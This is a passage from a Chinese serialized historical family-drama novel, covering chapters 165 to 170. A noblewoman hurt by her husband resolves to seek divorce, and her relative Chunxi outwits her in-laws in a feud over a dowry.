清脆的巴掌声后,萧清禾透过朦胧的泪光看清萧夜辰的脸。 满腔的怒火瞬间化为愧疚和紧张。 她打错人了。 第165章 大小姐,得罪了 “抱歉,我……” “是我的错,是我突然从背后出现,吓到你了。” 萧清禾想要道歉,刚开口,就被萧夜辰打断。 萧夜辰完全没有要计较那一巴掌的意思,反而把错都揽到了自己身上,并且松开手,要后退和她拉开距离。 这样的举动瞬间让他在萧清禾心里变得可靠起来,想到他前两次也出手相助,萧清禾忍不住伸手抓住他的袖摆:“你能不能帮我躲一躲,我不想被找到。” 萧夜辰顿住,忍不住垂眸看向揪着自己袖子的那只手。 他惯爱穿黑色,萧清禾的手却是极白的,向来不沾阳春水的十指纤细柔嫩,此刻指尖缱绻,将袖摆抓得皱起,色差极大,萧夜辰的眸子变暗,心跳都加快了些。 喉结滚了滚,他冷静开口:“跟我来。” 萧清禾松了口气,手也跟着松开。 衣摆垂落,萧夜辰的心也往下坠了坠。 他抿了抿唇,正想扭头往前走,见萧清禾脸色苍白,额头还有细密的汗珠,忍不住问:“你……可是受伤了?” “右脚崴了一下,应该不碍事。” 萧清禾小声回答,明显感觉萧夜辰周身的气息冷下来。 她以为他嫌自己麻烦,正想再解释,萧夜辰朝她走近了些,沉沉道:“追你的人应该很快就会到,你受伤了走不快,得罪了。” 话落,萧夜辰直接把萧清禾拦腰抱起。 除了卫凌泽,萧清禾还从未跟别的男子如此近距离接触过,她浑身紧绷,实在觉得不妥,下一刻又听到萧夜辰说:“萧家对我恩重如山,我可以用项上人头发誓,绝不会伤害大小姐。” 如今身边的人都叫她少夫人,突然听到萧夜辰唤自己大小姐,萧清禾的心控制不住颤了颤。 明明嫁给卫凌泽才几个月,却漫长到好像过完了一辈子,她都快忘记她曾是被如珠如宝疼着的萧家大小姐了。 萧夜辰施展轻功,很快把萧清禾带到附近一处不起眼的宅子里。 被放开后,萧清禾放松了些,正要道谢,萧夜辰却屈膝蹲在了她面前:“我要看看你有没有伤到筋骨,才能确定要不要送你去医馆。” “不用,我躲一会儿可以自己去。” 萧清禾直接拒绝,萧夜辰抬起头看着她,无奈道:“我只隔着鞋袜看一下,不会越矩,而且我今日既然遇到了大小姐,若不能确保大小姐的周全,日后也没办法向夫人交代。” 听到萧夜辰提起母亲,萧清禾立刻说:“你莫要将今日之事告诉母亲。” 她脖子上的掐痕很明显,嗓子也很哑,明明受了天大的委屈,却还是不想让家里人知道。 萧夜辰沉默半晌终是点头:“好,我会帮大小姐保守秘密。” 萧夜辰都答应帮忙保密了,萧清禾也不好太见外,让他隔着鞋袜帮自己看了下伤,确定没有伤到筋骨后,萧夜辰拿了一盒活血化瘀的药膏和一瓶专治跌打损伤的药酒来:“这药膏是擦脖子的,药酒要先在掌心搓热再擦在脚踝的位置,可能会有点疼。” 知她守礼,萧夜辰细细说了涂抹的技巧后,退出房间。 房门关上,萧清禾紧绷的神经终于彻底放松。 她撩起裙摆,褪去鞋袜,按照萧夜辰交代的揉捏脚踝,疼痛立刻传来,她死死地咬着唇才没有发出声音,一颗心却酸涩到了极点。 她之前一直想着就算没有爱,也要和卫凌泽相敬如宾过一辈子,维持两家的体面,可刚刚在马车上,灭顶的窒息感袭来时,她突然意识到卫凌泽发起狠来真的能杀了她! 涂完药,萧清禾一个人在屋里枯坐了许久才走出房间。 萧夜辰一直守在外面,见她出来立刻说:“恒阳公主一会儿会来这里接大小姐回家,大小姐不用担心其他。” 萧清禾本想让萧夜辰帮忙租辆马车自己回去的,没想到他思虑如此周到,竟然请到恒阳公主帮忙。 萧清禾福身,再次道谢。 不久之前,她还红着眼慌乱无措,这会儿却已恢复镇静,从容有度,若不是她脖子上的掐痕还在,萧夜辰都会怀疑今日发生的一切都是他发了疯臆想出来的。 藏在袖中的手紧握成拳,萧夜辰胸口怒火滔天,恨不得千刀万剐了卫凌泽,然而面对萧清禾,他只能柔声开口:“大小姐不必如此,我今日所做之事,根本不够偿还萧家这些年给我的万一。” 没多久,恒阳公主的马车到了。 萧清禾自己走出宅院,被公主府的丫鬟扶上车。 恒阳公主是当今陛下的嫡亲妹妹,一直是京中世家夫人争相讨好的对象,因为贤妃的关系,萧清禾和恒阳公主也算熟稔。 只不过她记忆中的恒阳公主是个高贵优雅的尊贵女子,和今日这个一脸餍足、慵懒倚在马车里的贵妇人很不相同。 萧清禾只惊异了一瞬便冷静开口:“谢公主今日出手相助,这份恩情我一定会铭记在心。” “只是举手之劳,谈不上什么恩情,”恒阳公主并不在意萧清禾会不会报恩,只好奇地问,“你见过那无忧阁阁主的真容了,他在床榻之上可勇猛?” 萧清禾没想到恒阳公主会问得如此直白,脸上滚烫,急急道:“公主误会了,今日阁主只是碰巧遇到我,所以出手相助,我们之间是清白的。” “那他长得可好看?” 萧清禾点点头,而后又听到恒阳公主问:“和卫凌泽相比呢,谁更好看?” “……” 萧清禾不知该如何回答。 她从未想过有一日会把另外一个男子和卫凌泽放在一起比对。 容貌这种东西其实难分高低,只看个人喜好,但从脾气秉性来讲,现在的卫凌泽是比不上萧夜辰的。 “请公主莫要打趣臣妇了。” 萧清禾求饶。 她这样正经守矩,叫恒阳公主有些扫兴,不过很快,恒阳公主美眸一转,又露出笑容:“听说沈少夫人是个妙人,你与她相熟,改日带她来见见我。” “小婶婶的婆母刚刚离世,恐怕不便出门……” 萧清禾柔声提醒,恒阳公主直接打断:“她们婆媳关系又不好,难道她还真的要为她婆母守孝?” “……” 第166章 她要和离 恒阳公主把萧清禾送回卫家,吃了一盏茶才离开。 等她一走,云氏立刻让人把卫凌泽叫到了主院。 卫凌泽一进门,云氏便冷声呵斥:“混账东西,禾儿身上的伤是怎么回事?” 萧清禾皮肤白嫩,颈间的掐痕根本藏不住,而且身上还有很明显的药酒味道,虽然恒阳公主并未提及她受伤之事,云氏还是很生气。 这些日子她一再告诫卫凌泽要好好修补夫妻关系,不要闹到夫妻离心、貌合神离的地步,结果卫凌泽嘴上答应得好好的,做出来的事却是完全相反。 卫凌泽一点儿也不慌,淡声道:“儿子担心禾儿的身体,带她出去看了大夫,回来的路上与她拌了几句嘴,一时冲动不小心伤了她,以后儿子不会这样了。” “不小心?你看看禾儿的脖子被掐成什么样了,这能是不小心?还不给我跪下!” 云氏气的拍桌,等卫凌泽跪下后,让人拿来鞭子狠狠抽他。 没一会儿,卫凌泽后背的衣裳就浸出血痕,下人连忙停手:“夫人,大少爷都出血了。” 云氏皱了下眉,到底还是心疼,但萧清禾一直安安静静垂眸坐着,并没有半点儿要帮卫凌泽求情的意思。 云氏脸一沉,冷冷命令:“给我继续打!” 下人不敢真的动手,犹豫片刻看向萧清禾:“少夫人,求你原谅大少爷这一次吧。” 萧清禾回过神来,看向云氏:“母亲,我有话要说。” 等云氏屏退下人,萧清禾再度开口:“今日夫君强迫我去看诊,还要逼我服用能够助孕的药,我不过是提了一句纳妾,夫君一怒之下竟想掐死我,如今别说是行夫妻之事,我看到夫君都会做噩梦。” 喉咙的痛感还在,萧清禾只要一想到马车上的场景就会遍体生寒。 她不想再一次手无缚鸡之力的面对卫凌泽了。 云氏闻言亦是心颤。 卫萧两家是世交,在很多方面互利共赢的,两家结亲是为了联系更紧密牢固。 今日卫凌泽若是失手杀了萧清禾,那两家就要从世家变成世仇了。 云氏又狠狠呵斥了卫凌泽一番,而后安慰萧清禾:“禾儿,咱们两家不仅是世交,你和泽儿还是青梅竹马,两小无猜,泽儿就是一时犯浑,怎可能真的对你起杀心呢。” 以前萧清禾也觉得就算没有感情,看在两家多年的情分上,卫凌泽也会给她卫少夫人的体面。 但近来发生的一桩桩事让她不敢再对卫凌泽抱有幻想。 他不心疼那个孩子,也不心疼她,盛怒之下,他什么都干得出来。 她不能拿自己的命去赌 思及此,萧清禾坚定开口:“请母亲允我雇些人手在凌枫院外守着,不然我恐怕难以安寝。” 之前卫凌泽就强闯过,她的陪嫁丫鬟和婆子根本拦不住他,唯有增加人手,确保卫凌泽不能再随意闯入她的视线,她才能安心。 卫凌泽闷不做声挨了这么多鞭,本以为萧清禾会见好就收,没想到她竟提出要在凌枫院安排护院。 这是把他当什么人来防备了? “你我青梅竹马这么多年,我是气恼你随随便便把别的女人塞给我才会一时气急对你动手,我已因此受罚,你非要做到如此地步吗?” 卫凌泽冷着脸质问。 当妻子的雇人把丈夫拦在门外,就算这事不宣扬出去,其他各房和府中下人也会看笑话。 云氏也觉得不妥,她想了想说:“我把我院里的尹妈妈给你,让她护着你可好?” 不好。 尹妈妈是云氏的心腹,也是卫凌泽的乳娘,她不会真的向着自己,只会见缝插针地劝自己妥协。 萧清禾抿了抿唇说:“母亲,我只是想要确保自己不会再受到伤害。” 她既没有闹着要回娘家,也没有要卫凌泽如何赔罪认错,只是想要一点安全感而已。 这个要求并不高。 云氏沉默,她也知道出了这样的事,萧清禾还能如此冷静地与她商量已经很识大体了,可她不能眼睁睁地看着小两口的裂痕越来越大。 云氏还想再劝,卫凌泽怒气冲冲地开口:“你我新婚不过数月,你凭什么不让我近你的身,你们萧家就是这么教养女儿的?” “泽儿,住口!” 云氏厉声呵斥,卫凌泽并不害怕,继续道:“我重伤瘫痪,萧家推迟婚礼三年,你嫁进卫家后,何曾受过半点苛待?我不过是碰了你一下,我娘就让人打了我这么多鞭,你却还要得寸进尺,我看你真是跟曹春喜待久了,连为人妻最基本的规矩都忘了。” 自莫氏离世,萧清禾和春喜就再也没见过面,她没想到卫凌泽竟然能把今日之事怪到春喜头上。 “明明是夫君伤我在先,夫君不反思自己,竟还怨怪别人,这是堂堂男儿应该做的事吗?” 萧清禾反驳,卫凌泽冷笑:“我会伤你都是因为曹春喜撺掇你给我纳妾,当初我瘫痪三年你都不曾变心,若非她挑拨离间,你怎会把我推给别的女人?” 卫凌泽有理有据,原本想要呵斥他的云氏竟也觉得有几分道理。 禾儿最是善解人意识大体的,之前那个孩子没了,她都瞒着所有人默默承受,确实是和曹春喜出去玩了几天后回来,才说要给泽儿纳妾。 这般想着,云氏立刻道:“禾儿,你与泽儿已是夫妻,如今你们荣辱一体,你可不能随随便便听信外人的话啊。” 萧清禾有些不可置信地看着云氏:“母亲,我一过门您就分了近半的掌家权给我,您都相信我有能力操持卫家,难道不相信我有明辨是非的能力?” “我当然相信你能持好家,但感情之事与持家不同,我也是怕你被人蒙骗。” 云氏满脸担忧,好像有了春喜可以怪罪后,卫凌泽就一点儿错都没有了,萧清禾若是还要坚持下去,那就是胳膊肘往外拐,上了春喜的当。 萧清禾觉得眼前的场景很是荒唐,但仔细一想又是理所应当的。 云氏再怎么喜欢她,她也只是儿媳,并不是云氏十月怀胎生下来的亲骨肉,云氏自然是要偏向卫凌泽的。 认清这个事实后,萧清禾突然生出了强烈的想要逃离这里的想法。 她不爱卫凌泽了,也无法维持卫少夫人的体面,她不能把自己的后半辈子都耗在这里。 她要和离! 萧清禾捏紧绢帕,正想说出这句话,下人来报:“夫人,沈少夫人派人给少夫人送礼来了。” 第167章 回侯府守孝 萧清禾脖子上有伤,云氏没让她露面,独自去到前厅。 厅里坐着一位两鬓微白的老者,老者坐得笔直,虽只是个掌柜,但身上并没有商人的铜臭味,反而有两分上位者的威严。 见云氏进来,老者立刻起身行礼:“见过夫人。” 云氏原本以为春喜就是派了位普通掌柜来,随便打发了就是,但眼前的老者明显不是一般人. 云氏的心沉了沉,面上却是不显,只疑惑地问:“清远侯夫人的丧事才办完,沈少夫人怎么想起要送礼?” 婆母离世,春喜虽然不用跟沈清渊一起去坟前守着,但身为儿媳妇也要深居简出,谢绝交际才是。 云氏虽未怪罪,但明显也是不赞同的。 老者并未慌张,冷静解释:“回夫人,这是少夫人一早就交代好的事,少夫人能接手铺子,全靠萧老夫人给的人手,卫少夫人之前又帮着少夫人挑选了田地庄子,少夫人为了表示感激,特意把名下铺子一成的分红给卫少夫人做谢礼,我今日来送第一个季度的分红。” 春喜虽然要为莫氏守孝,但名下的铺子还要继续经营着,掌柜代她把承诺给萧清禾的分红送来也无可指摘。 老者说着,从袖中拿出几张银票。 卫家虽然家底丰厚,不缺这点儿钱,但也没人会把登门送钱的人赶出去,更何况,这里面还有萧老夫人的恩情在,她哪能替萧清禾拒绝不要? 云氏示意下人接过银票,细细琢磨了一番老者的话,忍不住问:“你也是萧老夫人为沈少夫人选的人?” “回夫人,鄙人姓孙,年轻时有幸得老夫人赏识,帮着打理萧家在外的一些产业,不过孙某年纪大了,如今已管不了那么多事,如今能被老夫人派来替沈少夫人打理一下铺子,也算是孙某的荣幸。” 孙掌柜年纪虽大,言行却很谦卑。 云氏的心又沉了两分。 能在年轻时帮着萧老夫人打理萧家产业,如今还能继续为萧老夫人做事的,那可不是一般人,而是深得萧老夫人信任的人精。 春喜真的只是让孙掌柜来送分红,还是想让孙掌柜打探什么? 毕竟,孙掌柜来的时机实在是太巧了。 云氏正怀疑着,孙掌柜站起身来:“这个月的分红已悉数交给夫人,那我就不多叨扰了。” 话落,孙掌柜在下人的指引下离开。 孙掌柜并未问起萧清禾,反而让云氏更加不安。 思虑一番后,云氏让尹妈妈把银票拿去凌枫院,还答应了萧清禾雇护院的要求。 不管小两口在家里怎么闹,只要禾儿不回娘家诉苦,那就还有重修旧好的余地。 尹妈妈走后,萧清禾盯着手里的银票发了很久的呆。 没想到这一次,又是小婶婶帮了她。 卫凌泽也没想到春喜都在为莫氏守孝了,竟然还能插手他和萧清禾的事,不过他并没有像之前那样暴怒砸东西。 莫氏一死,沈清渊要停职守孝三年,很快春喜就会为她这段时间的所作所为付出代价。 春喜找孙掌柜说完事才回的家,一下马车,就看到莫芸婉柔柔弱弱地杵在门口。 “大嫂去哪儿了,怎么这么晚才回来,大嫂现在在孝期,还是不要外出走动的好。” 春喜一走过去,莫芸婉就迫不及待地开口指责。 春喜扫了她一眼,似笑非笑:“弟妹还知道我只是在守孝啊,我还以为我是什么大恶人,弟妹一时不看着,我就要去杀人放火了呢。” 莫芸婉噎了一下,软了语气:“大嫂别误会,我没有要限制你自由的意思,只是好心提醒。” “有事吗?” 春喜并不想浪费口舌,问得直接,莫芸婉立刻点点头:“父亲已经搬回府里住了,他的意思是让大嫂也先搬回去住,这样大家能相互有个照应。” “家里丫鬟护院齐全,还都是你大哥亲自挑选的,没什么需要照应的。” 春喜毫不犹豫地拒绝,下一刻便又听到莫芸婉说:“大哥这三个月都不在家,大嫂一个人住在家里难免寂寞,还是大家一起住的好。” 言下之意是不放心春喜一个人住在外面,怕她三个月都忍不了,会红杏出墙。 春喜弯了弯眸,爽快道:“行,我收拾一下东西,这就跟弟妹一起回家。” 春喜动作很快,收拾了几件换洗衣裳,就和莫芸婉一起回了侯府。 等进了侯府的大门,莫芸婉才轻声开口:“父亲见我之前忙前忙后还算妥帖,让我继续管着掌家权,大嫂只是回家暂住数月,父亲的意思是,这掌家权就不用变动了,大嫂不会介意吧?” “不介意。” 春喜答得很快,似乎对掌家之事毫无执念。 春喜如此配合,莫芸婉反而有些不安,此地无银三百两的解释:“大嫂放心,我只是负责打理府里的日常事务,家里主事的是父亲,我和大嫂一样,都听父亲的。” 言下之意,她是不会仗着掌家权在手故意苛待春喜的。 清远侯没住主院,而是住进了原本空置出来的问心院。 春喜和莫芸婉一起去跟清远侯请安,清远侯上下打量了春喜一眼,沉声警告:“家里正在丧期,回来后安分些,你若敢再生非绝不轻饶!” “父亲说的是,儿媳一定铭记在心。” 春喜很是恭顺,清远侯又说了几句,便让她们退下了。 出了主院,莫芸婉歉然道:“祖母住进了主院,问心院又被父亲占了,几位叔伯和姑母也都住在侯府,眼下没有多余的房间,委屈大嫂暂时跟祖母住在主院可以吗?” 莫氏死后,最高兴的便是吴氏,侯府没了主母,她这个老夫人终于可以享福了,她迫不及待地住进主院,还把沈家人都接回了家,让春喜和她住一起,也有再次调教立威的意思。 莫芸婉语气带着试探,眸底的幸灾乐祸却没藏住。 春喜把包袱往肩上一甩,咧唇笑起:“好啊,能和祖母住一起我这个做孙媳妇的高兴还来不及,怎么会委屈呢?” 第168章 我其实是为沈家人争的家产 主院里,吴氏打了个喷嚏,眼皮也控制不住跳了跳,有些坐立难安。被春喜扔过菜刀,又见识过春喜分家那日的剽悍,吴氏如今对春喜已经有了惧意 小女儿沈金花见状忍不住开口:“娘,那个曹春喜不过是个乳臭未干的小丫头片子,如今府里都是沈家人,你怕什么?” “废话,她敢拿菜刀砍我,还能在衣服里藏袖箭,我能不怕吗?” 吴氏没好气地瞪了沈金花一眼。 原本莫氏死了,她只想好好享福的,谁知这个女儿听到萧氏的嫁妆都被曹春喜分家分走了,非要把曹春喜叫回府里来立规矩。 她把曹春喜这些日子干的那些事都说了一遍,只希望女儿知道曹春喜不是个省油的灯,能够打消念头,谁知沈金花是左耳朵进右耳朵出,根本没有放在心上。 “娘您这些年也算是经历过不少大风大浪,怎么能被一个小妮子吓住呢,这小妮子听着是挺厉害的,但她不是没有伤到你吗。” “废话,她要是伤到我了,我还能坐在这里跟你说话?” 吴氏翻了个大大的白眼,沈金花扑哧一声笑出来:“所以啊,这说明那个小妮子根本不敢伤害娘,她就是虚张声势罢了。” 沈金花油盐不进,吴氏也懒得劝了。 等她哪一日被曹春喜扔一回菜刀就知道厉害了。 正想着,下人来报:“老夫人,三少夫人马上领着少夫人到了。” 吴氏放下盘坐的腿,老腰跟着挺起来,沈金花虽然没把春喜当回事,但见吴氏这般如临大敌,表情也肃了两分。 很快,莫芸婉便带着春喜走进来。 沈金花是第一次见春喜。 她原以为春喜会是个姿色平平、五大三粗的泼妇,没曾想走进来的是个容貌清丽、眉眼灵动的小妇人。 春喜不像莫芸婉那样柔弱,整个人气色很好,脚步轻快,虽做妇人打扮,一身的朝气跟活力却掩盖不住。 “祖母、小姑,我把大嫂带回来了。” 莫芸婉率先行礼,春喜跟在后面开口:“阿喜见过祖母、小姑。” 春喜声音响亮,礼数也周到,丝毫没有吴氏嘴里的嚣张跋扈。 瞧着竟然还挺……讨喜的。 沈金花在心里对春喜作出评价,面上仍是紧绷着,故意挑刺:“婆母离世,你不主动回来守孝,还要别人去请,真是好大的排场。” “小姑训斥的是,都是阿喜不好。” 春喜并不为自己辩解,态度很好地承认了错误。 沈金花忍不住看了吴氏一眼。 这脾气瞧着挺好的,不像是会突然抽出菜刀砍人的样子啊。 吴氏暗骂沈金花蠢。 这曹春喜又不是疯子,当然不会随便砍人啊,等你挑事惹到她就知道了。 吴氏清了清嗓子,装出长辈的姿态开口:“回来了就好,如今府里主子多下人少,别的院子都住满了,住院倒是还空着一间房,你自己去拾掇一下吧。” 说到最后一句的时候,吴氏的声音不自觉放轻,整个人也绷得紧紧的,生怕春喜下一刻就会亮出袖箭给她来一下。 “好的,我这就去。” 春喜并未不满,拎着包袱便去收拾房间了。 确定她离开后,沈金花立刻说:“我看她挺听话挺好拿捏的呀,自己住的院子被抢,还要亲自收拾屋子,她一句怨言都没有呢。” 吴氏大口喘着气,没好气道:“你不懂,她越是这样不动声色越是可怕。” 之前莫氏就是被她的乖顺骗了,才会被反将一军,连家都被分了去。 沈金花的确不能理解,她求证地看向莫芸婉,莫芸婉立刻柔声安慰:“婆母毕竟刚走,大哥又要守陵三日,大嫂便是再有脾气也会收敛些,而且方才我和大嫂去见父亲,父亲也警告了大嫂一番。” 沈金花点点头,这就说得通了。 没有男人在身边撑腰,又被公爹敲打了一番,就算是母老虎也该收起利爪。 沈金花一阵窃喜,过去这些年莫氏一直把持着侯府,不让他们占便宜,如今莫氏死了,萧氏留下来那些嫁妆总算可以让他们沈家人瓜分了。 春喜收拾完房间回来,莫芸婉已经离开了。 沈金花摆起长辈架子,一会儿要春喜倒茶,一会儿要春喜捏肩。 吴氏听得心惊胆跳,生怕春喜突然动手拔了沈金花的舌头,然而奇怪的是,春喜竟然全都照做了。 晚上三人坐在一起用饭,吴氏和沈金花吃是两荤两素,春喜面前却只有一碗清汤寡水的白粥,差距很大。 沈金花故意问:“你在孝期,不能食荤腥,你应该知道规矩吧?” 春喜点头:“知道。” 说完端起白粥吃得干干净净。 接连三日,皆是如此. 沈金花见春喜都是逆来顺受,一点儿怨言都没有,彻底放下警惕,这日春喜刚喝完粥,沈金花便忍不住开口:“外面都在传你为了争夺家产,气死了你婆母,你可有所耳闻?” 春喜点点头,而后委屈道:“小姑,我是冤枉的,婆母的死跟我没有关系。” 沈金花挤出一副慈祥面孔:“我自然是相信你的,可现在那么多家产握在你手里,外人是不会相信的啊。” 春喜皱眉,越发委屈了:“小姑,我是跟婆母争了家产,但我不是为自己争的,而是为祖母和沈家众人争的。” 正在剔牙的吴氏惊得差点儿从椅子上摔下来。 什么玩意儿? 曹春喜说她是为谁争的家产? 沈金花也被春喜这一番话惊呆,几天之前,她连这个侄媳妇的面都没见过,竟然平白受了侄媳妇一份夺家产的大恩? 在两人难以置信的目光注视下,春喜继续道:“我尚未嫁进侯府便听到夫君说,婆母刁蛮,掌管侯府不久,就将沈家人全都赶了出去,然后一点点侵占夫君亲娘的嫁妆,用来贴补娘家,就连二弟三弟也只亲近莫家人,根本不把沈家人放在眼里,夫君被孝道压着,无法反抗,只能由我来担这个恶名,如此才能保全这些财物,不落入莫家人手中。” 吴氏:“……”??? 这么乱七八糟的话怎么被曹春喜说得好像有些道理了? 第169章 三日后,再去无忧阁 沈金花被春喜诚恳的语气和表情说懵,整个人愣了好一会儿才讷讷开口:“如果你真的是为沈家人争的财产,为什么不直接把那些东西交给祖母保管?” 吴氏也疑惑地看着春喜。 春喜叹了口气:“我怕交给祖母后,那些东西转手又会落入婆母手中,毕竟祖母如果斗得过婆母,小姑你们也不会被赶出侯府这么多年了。” “……” 沈金花和吴氏皆是哑口无言。 她们的确斗不过莫氏,不仅斗不过,连逢年过节来侯府打秋风都不敢,更不要说跟莫氏抢财产了。 过了一会儿沈金花又道:“现在你婆母已经不在了,若要证明你说的都是真的,你该把财产交出来了吧?” “不行,”春喜毫不犹豫地摇头,沈金花当场就想骂人,却又听到春喜说,“婆母虽然走了,三弟妹这个莫家人却还在,二弟和三弟都是向着她的,我若交出财物,定会被三弟妹夺走送入莫家。” “她敢!”沈金花大声怒道,“谁不知道她是个二嫁妇,这些嫁妆跟她半个铜板的关系都没有,她凭什么插手?” “她如何不敢,若不是她从中挑唆,小姑怎可能一回家就问我要那些东西?” 春喜说着抹了下眼角,委屈极了。 沈金花的思路被带偏。 吴氏被春喜吓破了胆,虽然把沈家人都接回侯府,却没有提过萧氏的嫁妆,这件事沈金花确实是从莫芸婉口中听来的。 莫芸婉真有这么大的野心? 沈金花想得有些入神,吴氏咳了两声提醒,沈金花立刻否认:“不是的,没人挑唆,我身为长辈,关心你们一下不是很正常吗?” 春喜没有戳穿,顺着沈金花的话说:“能得到小姑的关心,阿喜受宠若惊,但我方才的话,也是出于真心,三弟妹毕竟姓莫,怎可能和沈家人一条心?” 沈金花没了声音。 莫氏当初做的狠绝,除了清远侯,和沈家其他人都断绝了关系,沈清越和沈清宇也与沈家人疏离得很。 莫芸婉跟莫氏是姑侄关系,难保日后不会跟莫氏一样翻脸不认人。 见沈金花动摇,春喜继续道:“侯府掌家权如今就在三弟妹手中,父亲一直都是甩手掌柜,小姑觉得二弟三弟会让三弟妹把掌家权交给沈家人吗?” 当然不会。 沈清越、沈清宇和莫氏一样看不起沈家人,他们才不会愿意受沈家人的管制。 连掌家权都拿不到,就更别提萧氏的嫁妆了。 沈金花很快想通,信了春喜五分,咬牙道:“这个贱人,原来是拿我们当枪使呢。” “咳咳!” 吴氏又咳了两声。 想要提醒沈金花不要被春喜忽悠了,莫芸婉不是什么好人,这曹春喜更不是! 然而不等她开口,春喜又从袖中拿出两张契书交给沈金花:“夫君如今还在守陵,我不能擅自动用他娘亲的嫁妆,这是我名下两间铺子的契书,算是我给小姑的一点诚意。” 这两间铺子是春喜入门不久,沈清越代表他们兄妹给她这个大嫂的见面礼,如今拿来收买沈家人,春喜倒也不心疼。 沈金花看到契书眼睛顿时亮起。 当初他们举家来到瀚京,路上就花光了所有的积蓄,被赶出侯府时,莫氏只抠抠搜搜给了一千两,兄长们都分到钱安了家,沈金花身为女儿却什么都没得到。 最后沈金花是靠着清远侯妹妹的身份嫁了个守城门的小吏才留在瀚京的。 那小吏俸禄不多,两人婚后连生三个孩子,家里更是过得紧巴巴,沈金花私下找到清远侯,不是被臭骂一顿,就只能被一点儿碎银打发。 这两间铺子对沈金花的吸引力很大,她连忙接过,再没办法冷着脸,咧嘴笑起:“你这孩子真是客气,你方才分析的有理有据,小姑怎么会不相信你呢。” 吴氏也直勾勾地看着那两张契书挪不开眼。 儿子女儿虽然都在瀚京安了家,但各自有了孩子,开销就大了,一个个还没什么赚钱的营生。 她年岁渐长,便不那么受待见了,若能有些财物在手,儿女自然抢着孝敬。 沈金花并没有把契书给吴氏的意思,麻溜地叠好塞进怀里,亲亲热热地和春喜套起近乎。 吴氏看着很是眼红。 春喜将两人的表情变化尽收眼底,又在聊天中透露了些萧氏嫁妆的分量,而后忧心忡忡道:“三弟妹失踪多年,突然死而复生,还改嫁给了三弟,我担心她背后有人帮着谋划,意欲图谋侯府的财产。” 怀里揣着两个铺子的契书,沈金花很能听进去春喜的话,她当即附和:“我早就怀疑她不对劲了,她一个弱女子,流落在外多年,怎可能保持完璧之身?” 吴氏见沈金花得了实实在在的好处,也跟着恨声骂道:“我看这小蹄子风骚的很,也就老三那个蠢货看不出来,这小蹄子若是敢勾结外人谋夺侯府的财产,我定饶不了她!” 春喜对两人的态度变化很满意,当即道:“既然祖母和小姑愿意相信我,我有一计可以让她现出原形。” 春喜说着勾了勾手指,吴氏和沈金花立刻倾身凑近,春喜在她们耳边低声说了几句,两人皆是眼前一亮,连连点头表示赞同。 第二日,萧清禾派人送了一盒点心来侯府,并且一定要送到春喜本人手上才行。 春喜把糕点拿回主院没多久,沈金花就找到莫芸婉:“婉儿,快快快,我有重大发现!” 沈金花风风火火地闯入莫芸婉的院子,一屁股坐在椅子上,也不说到底发现了什么,只擦着汗指使莫芸婉:“我都快渴死了,你倒是给我倒杯水喝啊。” 等莫芸婉倒了水来,沈金花又道:“别光愣着,扇扇风,没看我热出一身汗啊。” 莫芸婉压着不耐烦给她扇了扇风,问:“小姑到底发现了什么?” 沈金花翻了个白眼:“这可是能置曹春喜于死地的发现,你打算就这么白白地听么?” 说着话,沈金花搓了搓拇指和食指,示意莫芸婉拿钱。 莫芸婉险些绷不住要骂人,但想到以后还要靠沈金花抓春喜的把柄,又生生忍下,拿了一块碎银给沈金花。 “才这么点儿?” 沈金花的胃口被两间铺子喂大,很是瞧不起这点儿碎银。 莫芸婉已然不耐烦,垮了脸道:“小姑还是先说说发现了什么吧,若真是很不得了的事,我自然不会亏待小姑。” 沈金花把碎银塞进怀里,得意道:“刚刚卫少夫人派人送来一盒点心,点心里藏了密信,约曹春喜三日后去无忧阁,怎么样,这消息厉害吧?” 第170章 弟妹,母亲说她死的好冤 “你确定她们是要去无忧阁?” 莫芸婉掐紧掌心,克制着心底的激动。 之前擢升宴,无忧阁的人来过侯府,沈清宇私下调查过,那无忧阁是最近几年才在瀚京崛起的男妓场馆。 馆中客人除了一些耐不住寂寞的贵妇人,还有一些有着特殊癖好的达官显贵。 不过无忧阁的保密措施做得很好,虽然大家都知道那里是卖弄男色的地方,却没有一位客人的身份泄露出来。 寻常妇人去那种地方已是离经叛道、伤风败俗,曹春喜如今还在孝期,若是在无忧阁被抓到现行,必然是要被游街浸猪笼的,谁也护不住她! 沈金花没好气地瞪了莫芸婉一眼:“我当然确定啊,虽然我不知道无忧阁是干什么的,但想来也不是什么正经地方,不然那卫少夫人为什么要把信藏在点心里送进来不敢让人知道?” 听到“卫少夫人”四个字,莫芸婉稍微冷静了些。 哪怕她离京好几年,也知道萧清禾是京中贵女的典范,和卫凌泽更是青梅竹马、两情相悦。 萧清禾新婚才几个月,怎可能主动约春喜去无忧阁? 想到这里,莫芸婉看向沈金花:“空口无凭,字条呢?” 沈金花翻了个大大的白眼:“你是不是傻,这么见不得人的东西,曹春喜看完就烧啦,难道还留下来供着?” “照小姑所说,曹春喜这样谨慎,应该会躲在没人的地方偷偷看信,小姑是怎么知道的?” “她还守着孝呢,哪能让她吃这好东西,那些点心都被我吃了,信也是我吃出来的,我骗她说我不识字,她就骗我说卫家送错了点心,那是卫家丫鬟偷偷塞给情郎的信,还让我不要乱说,免得坏了卫家的名声,我哪能是这么好糊弄的人。” 沈金花的语气霸道又得意,莫芸婉不由得信了几分。 她顺从吴氏把沈家人接回侯府就是为了让他们折腾冲着萧氏的嫁妆好好折腾春喜,主院的下人都是她的耳目,这几日春喜一日三餐都只有一碗米都没有几颗的清粥,还要被吴氏和沈金花母女俩呼来喝去,人都瘦了一圈。 沈金花抢了点心,还吃出密信倒也说得过去。 莫芸婉还在思考,沈金花便迫不及待道:“那无忧阁在哪儿,到时我叫上你二叔三叔他们一起去抓曹春喜的现行,保证让她无处可逃!” 无忧阁哪是随随便便什么人都能进的,而且沈金花他们一群蠢货把声势闹太大,不是变相地给曹春喜报信让她逃跑吗? 莫芸婉弯眸,笑盈盈地挽住沈金花的胳膊:“小姑能打探到这样重要的消息已经很厉害了,抓人的事就不劳您和几位叔叔出手了,你们才刚回侯府,再跟大哥生出嫌隙不好,我会找人帮忙抓住她不让她抵赖的。” “婉儿,你可真厉害,我们家老三能娶到你真是三生有幸啊,等曹春喜被赶出侯府,送回萧氏的嫁妆,沈家是不会亏待你的。” 沈金花一脸的欣慰,好像已经得到了萧氏的全部嫁妆,莫芸婉觉得她蠢得好笑,正想说点儿什么敷衍她,却听到沈金花说:“诶?你手上这只镯子挺好看的啊。” 莫芸婉腕间戴了一只莹白的玉镯,玉色清润通透,质地很好,是沈清宇从莫氏的妆奁匣里翻出来给她的。 “我和三郎没有举办婚礼,姑母只给了我这个。” 